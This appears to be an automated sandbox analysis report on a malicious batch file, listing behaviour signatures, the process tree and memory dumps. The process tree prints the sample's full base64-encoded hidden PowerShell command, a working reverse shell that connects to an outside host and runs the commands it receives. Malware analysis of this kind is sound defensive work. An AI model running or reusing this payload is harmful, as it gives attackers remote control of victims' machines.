Analysis
- max time kernel
149s - max time network
149s - platform
windows11-21h2_x64 - resource
win11-20260513-en - resource tags
- submitted
08/06/2026, 22:32
General
- Target zoanmyie.bat
- Size 1KB
- Sample260608-2f8htafx9w
- SHA256 a5d5fa1b8bc24a1ef4bc04935717dda591bade1cf6455d39f1e68907c43c0743
Malware Config
Signatures
- Badlisted process makes network request 1 IoCs
Network request originating from process or tool commonly abused by malware.
- Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
- Suspicious behavior: EnumeratesProcesses 2 IoCs
- Suspicious use of AdjustPrivilegeToken 22 IoCs
- Suspicious use of WriteProcessMemory 3 IoCs
Processes
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /c "C:\Users\Admin\AppData\Local\Temp\zoanmyie.bat"1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\cmd.exeC:\Windows\system32\cmd.exe /K "C:\Users\Admin\AppData\Local\Temp\zoanmyie.bat" --hidden2⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exepowershell -NoP -sta -NonI -W Hidden -enc "JABjACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABTAHkAcwB0AGUAbQAuAE4AZQB0AC4AUwBvAGMAawBlAHQAcwAuAFQAQwBQAEMAbABpAGUAbgB0ACgAJwBrAHMAaQBpADMAMwAtADUANgA1ADAAMwAuAHAAbwByAHQAbQBhAHAALgBoAG8AcwB0ACcALAA1ADYANQAwADMAKQA7ACQAcwAgAD0AIAAkAGMALgBHAGUAdABTAHQAcgBlAGEAbQAoACkAOwBbAGIAeQB0AGUAWwBdAF0AJABiACAAPQAgADAALgAuADYANQA1ADMANQB8ACUAewAwAH0AOwB3AGgAaQBsAGUAKAAoACQAaQAgAD0AIAAkAHMALgBSAGUAYQBkACgAJABiACwAMAAsACQAYgAuAEwAZQBuAGcAdABoACkAKQAgAC0AbgBlACAAMAApAHsAOwAkAGQAIAA9ACAAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAALQBUAHkAcABlAE4AYQBtAGUAIABTAHkAcwB0AGUAbQAuAFQAZQB4AHQALgBBAFMAQwBJAEkARQBuAGMAbwBkAGkAbgBnACkALgBHAGUAdABTAHQAcgBpAG4AZwAoACQAYgAsADAALAAkAGkAKQA7ACQAcwBiACAAPQAgACgAaQBlAHgAIAAkAGQAIAAyAD4AJgAxACAAfAAgAE8AdQB0AC0AUwB0AHIAaQBuAGcAKQA7ACQAcwBiADIAIAA9ACAAJABzAGIAIAArACAAJwBQAFMAIAAnACAAKwAgACcAPgAgACcAOwAkAHMAeQAgAD0AIAAoAFsAdABlAHgAdAAuAGUAbgBjAG8AZABpAG4AZwBdADoAOgBBAFMAQwBJAEkAKQAuAEcAZQB0AEIAeQB0AGUAcwAoACQAcwBiADIAKQA7ACQAcwAuAFcAcgBpAHQAZQAoACQAcwB5ACwAMAAsACQAcwB5AC4ATABlAG4AZwB0AGgAKQA7ACQAcwAuAEYAbAB1AHMAaAAoACkAfQA7ACQAYwAuAEMAbABvAHMAZQAoACkA"3⤵
- Badlisted process makes network request
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
-
C:\Windows\system32\HOSTNAME.EXE"C:\Windows\system32\HOSTNAME.EXE"4⤵
-
-
-
Network
MITRE ATT&CK Enterprise v16
Replay Monitor
Loading Replay Monitor...
Downloads
__PSScriptPolicyTest_b4lw0l50.cdq.ps1
memory/4240-21-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-29-0x0000018EE39B0000-0x0000018EE39CA000-memory.dmp
memory/4240-1-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-9-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-10-0x00007FF42E630000-0x00007FF42E640000-memory.dmp
memory/4240-17-0x0000018EE3350000-0x0000018EE336C000-memory.dmp
memory/4240-18-0x0000018EE3370000-0x0000018EE3423000-memory.dmp
memory/4240-19-0x0000018EE3430000-0x0000018EE343A000-memory.dmp
memory/4240-20-0x0000018EE35B0000-0x0000018EE35CC000-memory.dmp
memory/4240-0-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-2-0x0000018EE0240000-0x0000018EE0262000-memory.dmp
memory/4240-30-0x0000018EE3430000-0x0000018EE3438000-memory.dmp
memory/4240-28-0x0000018EE3360000-0x0000018EE336A000-memory.dmp
memory/4240-31-0x0000018EE3990000-0x0000018EE3996000-memory.dmp
memory/4240-32-0x0000018EE39A0000-0x0000018EE39AA000-memory.dmp
memory/4240-33-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-34-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-35-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-36-0x00007FF42E630000-0x00007FF42E640000-memory.dmp
memory/4240-37-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp
memory/4240-39-0x0000018EE0290000-0x0000018EE02A0000-memory.dmp